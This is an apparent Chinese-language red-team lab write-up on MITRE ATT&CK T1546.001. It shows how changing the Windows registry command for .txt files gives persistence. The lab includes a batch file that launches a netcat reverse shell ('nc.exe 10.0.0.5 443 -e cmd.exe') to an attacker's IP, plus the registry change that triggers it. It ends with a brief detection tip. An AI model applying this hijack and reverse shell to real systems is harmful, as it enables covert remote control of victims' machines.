了解ATT&CK :事件触发执行:更改默认文件关联
攻击者可以通过修改文件类型关联来建立持久性,实现在打开特定文件时执行恶意内容的目的。在Windows系统中,文件关联信息存储在注册表中,攻击者可以修改这些信息来改变文件的默认打开方式,从而执行任意程序。
举例来说,当用户双击打开一个.txt文件时,Windows会查找注册表中对应该文件扩展名的处理程序。这些信息通常存储在以下路径下:
HKEY_CLASSES_ROOT.txt
在上述路径下,系统会指向处理程序的信息,如:
HKEY_CLASSES_ROOTtxtfile
接着,在处理程序的注册表键中,列出了各种操作对应的命令,例如:
HKEY_CLASSES_ROOTtxtfileshellopencommand
HKEY_CLASSES_ROOTtxtfileshellprintcommand
HKEY_CLASSES_ROOTtxtfileshellprinttocommand
这些注册表键的值是在打开相应文件扩展名时执行的命令。攻击者可以修改这些值,以执行恶意命令。
总结而言,攻击者可以通过修改注册表中文件类型关联的方式,来实现在用户打开特定类型文件时执行恶意内容的目的,从而建立持久性,并实现横向渗透、远程控制等攻击目的。
创建
双击 .txt 文件时,将使用 notepad.exe 打开该文件。Windows 知道它需要使用 notepad.exe 打开 txt 文件,因为扩展.txt名(以及许多其他文件)被映射到可以打开位于ComputerHKEY_CLASSES_ROOT
有可能劫持文件扩展名并使其在打开实际文件之前执行恶意应用程序。
在这个快速实验中,我将劫持 .txt 扩展名 - 受害者用户仍然能够打开原始 .txt 文件,但它还会向攻击系统发射反向 shell。
执行
.txt 扩展处理程序在以下注册表项中定义:
ComputerHKEY_CLASSES_ROOTtxtfileshellopencommand
下面显示负责打开 .txt 文件的命令是notepad.exe %1,其中%1是 notepad.exe 的参数,它指定记事本应打开的文件名:
假设目标用户的桌面上有文件 test.exe,其中包含以下文件内容:
现在让我们创建一个恶意文件,当用户尝试打开良性文件 test.txt 时,我们希望执行该文件。对于本实验,恶意文件将是一个简单的 Windows 批处理文件,位于 c:toolsshell.cmd:
start C:toolsnc.exe 10.0.0.5 443 -e C:WindowsSystem32cmd.exestart notepad.exe %1
执行后,c:toolshell.cmd将向攻击系统启动一个简单的 netcat 反向 shell,并启动一个以test.txt文件作为参数的记事本。
现在我们准备通过修改 ComputerHKEY_CLASSES_ROOTtxtfileshellopencommand的值数据来劫持 .txt 文件扩展名c:toolsshell.cmd %1,如下所示:
演示
通过双击打开 test.txt 文件,它会打开文件本身,但也会向攻击系统抛出一个反向 shell:
检测
防御者可能希望监视注册表中的文件扩展名命令更改,特别是当数据字段包含位于异常位置的二进制文件时。
参考:
-
https://attack.mitre.org/techniques/T1546/001/
-
https://pentestlab.blog/2020/01/06/persistence-change-default-file-association/
-
https://docs.iredteam.cn/offensive-security/persistence/t1122-com-hijacking
-
https://cocomelonc.github.io/malware/2022/08/26/malware-pers-9.html
原文始发于微信公众号(Ots安全):红队战术 - 劫持默认文件扩展名
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论